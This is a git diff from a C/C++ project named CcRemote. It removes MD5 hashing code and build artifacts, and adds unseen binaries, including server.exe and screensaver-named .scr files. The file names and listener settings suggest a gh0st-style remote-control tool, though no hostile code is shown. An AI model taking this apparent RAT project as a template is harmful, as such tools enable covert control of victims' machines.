FF(c, d, a, b, x[2], S13, 0x242070db); /* 3 */
|
||||
FF(b, c, d, a, x[3], S14, 0xc1bdceee); /* 4 */
|
||||
FF(a, b, c, d, x[4], S11, 0xf57c0faf); /* 5 */
|
||||
FF(d, a, b, c, x[5], S12, 0x4787c62a); /* 6 */
|
||||
FF(c, d, a, b, x[6], S13, 0xa8304613); /* 7 */
|
||||
FF(b, c, d, a, x[7], S14, 0xfd469501); /* 8 */
|
||||
FF(a, b, c, d, x[8], S11, 0x698098d8); /* 9 */
|
||||
FF(d, a, b, c, x[9], S12, 0x8b44f7af); /* 10 */
|
||||
FF(c, d, a, b, x[10], S13, 0xffff5bb1); /* 11 */
|
||||
FF(b, c, d, a, x[11], S14, 0x895cd7be); /* 12 */
|
||||
FF(a, b, c, d, x[12], S11, 0x6b901122); /* 13 */
|
||||
FF(d, a, b, c, x[13], S12, 0xfd987193); /* 14 */
|
||||
FF(c, d, a, b, x[14], S13, 0xa679438e); /* 15 */
|
||||
FF(b, c, d, a, x[15], S14, 0x49b40821); /* 16 */
|
||||
|
||||
/* Round 2 */
|
||||
GG(a, b, c, d, x[1], S21, 0xf61e2562); /* 17 */
|
||||
GG(d, a, b, c, x[6], S22, 0xc040b340); /* 18 */
|
||||
GG(c, d, a, b, x[11], S23, 0x265e5a51); /* 19 */
|
||||
GG(b, c, d, a, x[0], S24, 0xe9b6c7aa); /* 20 */
|
||||
GG(a, b, c, d, x[5], S21, 0xd62f105d); /* 21 */
|
||||
GG(d, a, b, c, x[10], S22, 0x2441453); /* 22 */
|
||||
GG(c, d, a, b, x[15], S23, 0xd8a1e681); /* 23 */
|
||||
GG(b, c, d, a, x[4], S24, 0xe7d3fbc8); /* 24 */
|
||||
GG(a, b, c, d, x[9], S21, 0x21e1cde6); /* 25 */
|
||||
GG(d, a, b, c, x[14], S22, 0xc33707d6); /* 26 */
|
||||
GG(c, d, a, b, x[3], S23, 0xf4d50d87); /* 27 */
|
||||
|
||||
GG(b, c, d, a, x[8], S24, 0x455a14ed); /* 28 */
|
||||
GG(a, b, c, d, x[13], S21, 0xa9e3e905); /* 29 */
|
||||
GG(d, a, b, c, x[2], S22, 0xfcefa3f8); /* 30 */
|
||||
GG(c, d, a, b, x[7], S23, 0x676f02d9); /* 31 */
|
||||
GG(b, c, d, a, x[12], S24, 0x8d2a4c8a); /* 32 */
|
||||
|
||||
/* Round 3 */
|
||||
HH(a, b, c, d, x[5], S31, 0xfffa3942); /* 33 */
|
||||
HH(d, a, b, c, x[8], S32, 0x8771f681); /* 34 */
|
||||
HH(c, d, a, b, x[11], S33, 0x6d9d6122); /* 35 */
|
||||
HH(b, c, d, a, x[14], S34, 0xfde5380c); /* 36 */
|
||||
HH(a, b, c, d, x[1], S31, 0xa4beea44); /* 37 */
|
||||
HH(d, a, b, c, x[4], S32, 0x4bdecfa9); /* 38 */
|
||||
HH(c, d, a, b, x[7], S33, 0xf6bb4b60); /* 39 */
|
||||
HH(b, c, d, a, x[10], S34, 0xbebfbc70); /* 40 */
|
||||
HH(a, b, c, d, x[13], S31, 0x289b7ec6); /* 41 */
|
||||
HH(d, a, b, c, x[0], S32, 0xeaa127fa); /* 42 */
|
||||
HH(c, d, a, b, x[3], S33, 0xd4ef3085); /* 43 */
|
||||
HH(b, c, d, a, x[6], S34, 0x4881d05); /* 44 */
|
||||
HH(a, b, c, d, x[9], S31, 0xd9d4d039); /* 45 */
|
||||
HH(d, a, b, c, x[12], S32, 0xe6db99e5); /* 46 */
|
||||
HH(c, d, a, b, x[15], S33, 0x1fa27cf8); /* 47 */
|
||||
HH(b, c, d, a, x[2], S34, 0xc4ac5665); /* 48 */
|
||||
|
||||
/* Round 4 */
|
||||
II(a, b, c, d, x[0], S41, 0xf4292244); /* 49 */
|
||||
II(d, a, b, c, x[7], S42, 0x432aff97); /* 50 */
|
||||
II(c, d, a, b, x[14], S43, 0xab9423a7); /* 51 */
|
||||
II(b, c, d, a, x[5], S44, 0xfc93a039); /* 52 */
|
||||
II(a, b, c, d, x[12], S41, 0x655b59c3); /* 53 */
|
||||
II(d, a, b, c, x[3], S42, 0x8f0ccc92); /* 54 */
|
||||
II(c, d, a, b, x[10], S43, 0xffeff47d); /* 55 */
|
||||
II(b, c, d, a, x[1], S44, 0x85845dd1); /* 56 */
|
||||
II(a, b, c, d, x[8], S41, 0x6fa87e4f); /* 57 */
|
||||
II(d, a, b, c, x[15], S42, 0xfe2ce6e0); /* 58 */
|
||||
II(c, d, a, b, x[6], S43, 0xa3014314); /* 59 */
|
||||
II(b, c, d, a, x[13], S44, 0x4e0811a1); /* 60 */
|
||||
II(a, b, c, d, x[4], S41, 0xf7537e82); /* 61 */
|
||||
II(d, a, b, c, x[11], S42, 0xbd3af235); /* 62 */
|
||||
II(c, d, a, b, x[2], S43, 0x2ad7d2bb); /* 63 */
|
||||
II(b, c, d, a, x[9], S44, 0xeb86d391); /* 64 */
|
||||
|
||||
state[0] += a;
|
||||
state[1] += b;
|
||||
state[2] += c;
|
||||
state[3] += d;
|
||||
|
||||
/* Zeroize sensitive information.
|
||||
*/
|
||||
MD5_memset((POINTER)x, 0, sizeof(x));
|
||||
}
|
||||
|
||||
/* Encodes input (UINT4) into output (unsigned char). Assumes len is
|
||||
a multiple of 4.
|
||||
*/
|
||||
static void Encode(unsigned char *output, UINT4 *input, unsigned int len)
|
||||
{
|
||||
unsigned int i, j;
|
||||
|
||||
for (i = 0, j = 0; j < len; i++, j += 4) {
|
||||
output[j] = (unsigned char)(input[i] & 0xff);
|
||||
output[j + 1] = (unsigned char)((input[i] >> 8) & 0xff);
|
||||
output[j + 2] = (unsigned char)((input[i] >> 16) & 0xff);
|
||||
output[j + 3] = (unsigned char)((input[i] >> 24) & 0xff);
|
||||
}
|
||||
}
|
||||
|
||||
/* Decodes input (unsigned char) into output (UINT4). Assumes len is
|
||||
a multiple of 4.
|
||||
*/
|
||||
static void Decode(UINT4 *output, unsigned char *input, unsigned int len)
|
||||
{
|
||||
unsigned int i, j;
|
||||
|
||||
for (i = 0, j = 0; j < len; i++, j += 4)
|
||||
output[i] = ((UINT4)input[j]) | (((UINT4)input[j + 1]) << 8) |
|
||||
(((UINT4)input[j + 2]) << 16) | (((UINT4)input[j + 3]) << 24);
|
||||
}
|
||||
|
||||
/* Note: Replace "for loop" with standard memcpy if possible.
|
||||
*/
|
||||
|
||||
static void MD5_memcpy(POINTER output, POINTER input, unsigned int len)
|
||||
{
|
||||
unsigned int i;
|
||||
|
||||
for (i = 0; i < len; i++)
|
||||
output[i] = input[i];
|
||||
}
|
||||
|
||||
/* Note: Replace "for loop" with standard memset if possible.
|
||||
*/
|
||||
static void MD5_memset(POINTER output, int value, unsigned int len)
|
||||
{
|
||||
unsigned int i;
|
||||
|
||||
for (i = 0; i < len; i++)
|
||||
((char *)output)[i] = (char)value;
|
||||
}
|
@@ -1,42 +0,0 @@
|
||||
#pragma once
|
||||
/* MD5.H - header file for MD5C.C
|
||||
*/
|
||||
|
||||
/* Copyright (C) 1991-2, RSA Data Security, Inc. Created 1991. All
|
||||
rights reserved.
|
||||
|
||||
License to copy and use this software is granted provided that it
|
||||
is identified as the "RSA Data Security, Inc. MD5 Message-Digest
|
||||
Algorithm" in all material mentioning or referencing this software
|
||||
or this function.
|
||||
|
||||
License is also granted to make and use derivative works provided
|
||||
that such works are identified as "derived from the RSA Data
|
||||
Security, Inc. MD5 Message-Digest Algorithm" in all material
|
||||
mentioning or referencing the derived work.
|
||||
|
||||
RSA Data Security, Inc. makes no representations concerning either
|
||||
the merchantability of this software or the suitability of this
|
||||
software for any particular purpose. It is provided "as is"
|
||||
without express or implied warranty of any kind.
|
||||
|
||||
These notices must be retained in any copies of any part of this
|
||||
documentation and/or software.
|
||||
*/
|
||||
|
||||
#ifndef MD5_H
|
||||
#define MD5_H
|
||||
|
||||
/* MD5 context. */
|
||||
typedef struct {
|
||||
UINT4 state[4]; /* state (ABCD) */
|
||||
UINT4 count[2]; /* number of bits, modulo 2^64 (lsb first) */
|
||||
unsigned char buffer[64]; /* input buffer */
|
||||
} MD5_CTX;
|
||||
|
||||
void MD5Init(MD5_CTX *);
|
||||
void MD5Update(MD5_CTX *, unsigned char *, unsigned int);
|
||||
void MD5Final(unsigned char[16], MD5_CTX *);
|
||||
|
||||
#endif
|
||||
|
@@ -1,70 +0,0 @@
|
||||
#include "md5file.h"
|
||||
|
||||
#include "md5.h"
|
||||
|
||||
#include <fstream>
|
||||
#include <sstream>
|
||||
#include <memory>
|
||||
#include <iomanip>
|
||||
#include <exception>
|
||||
|
||||
std::string getFileMD5(const std::string& filename)
|
||||
{
|
||||
std::ifstream fin(filename.c_str(), std::ifstream::in | std::ifstream::binary);
|
||||
if (fin)
|
||||
{
|
||||
MD5_CTX context;
|
||||
MD5Init(&context);
|
||||
|
||||
fin.seekg(0, fin.end);
|
||||
const auto fileLength = fin.tellg();
|
||||
fin.seekg(0, fin.beg);
|
||||
|
||||
const int bufferLen = 8192;
|
||||
std::unique_ptr<unsigned char[]> buffer{ new unsigned char[bufferLen] {} };
|
||||
unsigned long long totalReadCount = 0;
|
||||
decltype(fin.gcount()) readCount = 0;
|
||||
// <20><>ȡ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD><EFBFBD>MD5Update()<29><><EFBFBD><EFBFBD>MD5ֵ
|
||||
while (fin.read(reinterpret_cast<char*>(buffer.get()), bufferLen))
|
||||
{
|
||||
readCount = fin.gcount();
|
||||
totalReadCount += readCount;
|
||||
MD5Update(&context, buffer.get(), static_cast<unsigned int>(readCount));
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD>ζ<EFBFBD><CEB6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
readCount = fin.gcount();
|
||||
if (readCount > 0)
|
||||
{
|
||||
totalReadCount += readCount;
|
||||
MD5Update(&context, buffer.get(), static_cast<unsigned int>(readCount));
|
||||
}
|
||||
fin.close();
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD>
|
||||
if (totalReadCount != fileLength)
|
||||
{
|
||||
std::ostringstream oss;
|
||||
oss << "FATAL ERROR: read " << filename << " failed!" << std::ends;
|
||||
throw std::runtime_error(oss.str());
|
||||
}
|
||||
|
||||
unsigned char digest[16];
|
||||
MD5Final(digest, &context);
|
||||
|
||||
// <20><>ȡMD5
|
||||
std::ostringstream oss;
|
||||
for (int i = 0; i < 16; ++i)
|
||||
{
|
||||
oss << std::hex << std::setw(2) << std::setfill('0') << static_cast<unsigned int>(digest[i]);
|
||||
}
|
||||
oss << std::ends;
|
||||
|
||||
return std::move(oss.str());
|
||||
}
|
||||
else
|
||||
{
|
||||
std::ostringstream oss;
|
||||
oss << "FATAL ERROR: " << filename << " can't be opened" << std::ends;
|
||||
throw std::runtime_error(oss.str());
|
||||
}
|
||||
}
|
@@ -1,12 +0,0 @@
|
||||
#pragma once
|
||||
#ifndef MD5FILE_H
|
||||
#define MD5FILE_H
|
||||
|
||||
#include <string>
|
||||
#include "md5global.h"
|
||||
|
||||
std::string getFileMD5(const std::string& filename);
|
||||
|
||||
#endif
|
||||
|
||||
|
@@ -1,22 +0,0 @@
|
||||
/* GLOBAL.H - RSAREF types and constants
|
||||
*/
|
||||
|
||||
/* PROTOTYPES should be set to one if and only if the compiler supports
|
||||
function argument prototyping.
|
||||
The following makes PROTOTYPES default to 0 if it has not already
|
||||
been defined with C compiler flags.
|
||||
*/
|
||||
|
||||
#ifndef MD5_GLOBAL_H
|
||||
#define MD5_GLOBAL_H
|
||||
|
||||
/* POINTER defines a generic pointer type */
|
||||
typedef unsigned char *POINTER;
|
||||
|
||||
/* UINT2 defines a two byte word */
|
||||
typedef unsigned short int UINT2;
|
||||
|
||||
/* UINT4 defines a four byte word */
|
||||
typedef unsigned long int UINT4;
|
||||
|
||||
#endif
|
@@ -1,14 +0,0 @@
|
||||
//{{NO_DEPENDENCIES}}
|
||||
// Microsoft Visual C++ generated include file.
|
||||
// Used by StartDemo.rc
|
||||
|
||||
// <20>¶<EFBFBD><C2B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>Ĭ<EFBFBD><C4AC>ֵ
|
||||
//
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||
#define _APS_NEXT_RESOURCE_VALUE 101
|
||||
#define _APS_NEXT_COMMAND_VALUE 40001
|
||||
#define _APS_NEXT_CONTROL_VALUE 1001
|
||||
#define _APS_NEXT_SYMED_VALUE 101
|
||||
#endif
|
||||
#endif
|
Binary file not shown.
@@ -1,14 +0,0 @@
|
||||
f:\myapp\ccremote\startdemo\startdemo\x64\debug\vc141.pdb
|
||||
f:\myapp\ccremote\startdemo\startdemo\x64\debug\vc141.idb
|
||||
f:\myapp\ccremote\startdemo\startdemo\x64\debug\startdemo.obj
|
||||
f:\myapp\ccremote\startdemo\startdemo\x64\debug\cregoperate.obj
|
||||
f:\myapp\ccremote\startdemo\x64\debug\startdemo.exe
|
||||
f:\myapp\ccremote\startdemo\x64\debug\startdemo.ilk
|
||||
f:\myapp\ccremote\startdemo\x64\debug\startdemo.pdb
|
||||
f:\myapp\ccremote\startdemo\startdemo\x64\debug\startdemo.obj.enc
|
||||
f:\myapp\ccremote\startdemo\startdemo\x64\debug\startdemo.tlog\cl.command.1.tlog
|
||||
f:\myapp\ccremote\startdemo\startdemo\x64\debug\startdemo.tlog\cl.read.1.tlog
|
||||
f:\myapp\ccremote\startdemo\startdemo\x64\debug\startdemo.tlog\cl.write.1.tlog
|
||||
f:\myapp\ccremote\startdemo\startdemo\x64\debug\startdemo.tlog\link.command.1.tlog
|
||||
f:\myapp\ccremote\startdemo\startdemo\x64\debug\startdemo.tlog\link.read.1.tlog
|
||||
f:\myapp\ccremote\startdemo\startdemo\x64\debug\startdemo.tlog\link.write.1.tlog
|
@@ -1,6 +0,0 @@
|
||||
CRegOperate.cpp
|
||||
f:\myapp\ccremote\startdemo\startdemo\cregoperate.cpp(160): warning C4101: “vari”: 未引用的局部变量
|
||||
StartDemo.cpp
|
||||
f:\myapp\ccremote\startdemo\startdemo\startdemo.cpp(58): error C4996: 'fopen': This function or variable may be unsafe. Consider using fopen_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(208): note: 参见“fopen”的声明
|
||||
正在生成代码...
|
@@ -1,2 +0,0 @@
|
||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||
Debug|x64|F:\myapp\CcRemote\StartDemo\|
|
BIN
bin/CcRemote.exe
BIN
bin/CcRemote.exe
Binary file not shown.
@@ -1,3 +1,3 @@
|
||||
[Settings]
|
||||
ListenPort=8088
|
||||
MaxConnection=10
|
||||
MaxConnection=0
|
||||
|
BIN
bin/server.exe
Normal file
BIN
bin/server.exe
Normal file
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
bin/server/sexgnp.scr
Normal file
BIN
bin/server/sexgnp.scr
Normal file
Binary file not shown.
BIN
bin/sexgnp.scr
Normal file
BIN
bin/sexgnp.scr
Normal file
Binary file not shown.
@@ -130,9 +130,9 @@ enum
|
||||
};
|
||||
|
||||
|
||||
#define MAX_WRITE_RETRY 15 // <20><><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
#define MAX_SEND_BUFFER 1024 * 8 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
||||
#define MAX_RECV_BUFFER 1024 * 8 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
||||
#define MAX_WRITE_RETRY 15 // <20><><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
#define MAX_SEND_BUFFER 1024 * 8 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
||||
#define MAX_RECV_BUFFER 1024 * 8 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
||||
|
||||
|
||||
|
||||
|
Binary file not shown.
Binary file not shown.
BIN
readme/1594463810.jpg
Normal file
BIN
readme/1594463810.jpg
Normal file
Binary file not shown.
After Width: | Height: | Size: 758 KiB |
BIN
readme/gh0stAnalyze.png
Normal file
BIN
readme/gh0stAnalyze.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 398 KiB |
BIN
readme/help.png
Normal file
BIN
readme/help.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 230 KiB |
Binary file not shown.
Binary file not shown.
@@ -1,31 +0,0 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 15
|
||||
VisualStudioVersion = 15.0.28307.1022
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "strCodeTest", "strCodeTest\strCodeTest.vcxproj", "{BAFA92C5-CDFB-466D-9F8B-8857982F6C9C}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{BAFA92C5-CDFB-466D-9F8B-8857982F6C9C}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{BAFA92C5-CDFB-466D-9F8B-8857982F6C9C}.Debug|x64.Build.0 = Debug|x64
|
||||
{BAFA92C5-CDFB-466D-9F8B-8857982F6C9C}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{BAFA92C5-CDFB-466D-9F8B-8857982F6C9C}.Debug|x86.Build.0 = Debug|Win32
|
||||
{BAFA92C5-CDFB-466D-9F8B-8857982F6C9C}.Release|x64.ActiveCfg = Release|x64
|
||||
{BAFA92C5-CDFB-466D-9F8B-8857982F6C9C}.Release|x64.Build.0 = Release|x64
|
||||
{BAFA92C5-CDFB-466D-9F8B-8857982F6C9C}.Release|x86.ActiveCfg = Release|Win32
|
||||
{BAFA92C5-CDFB-466D-9F8B-8857982F6C9C}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {702339B7-C70C-4AF0-AFEF-5E6AEB03540F}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user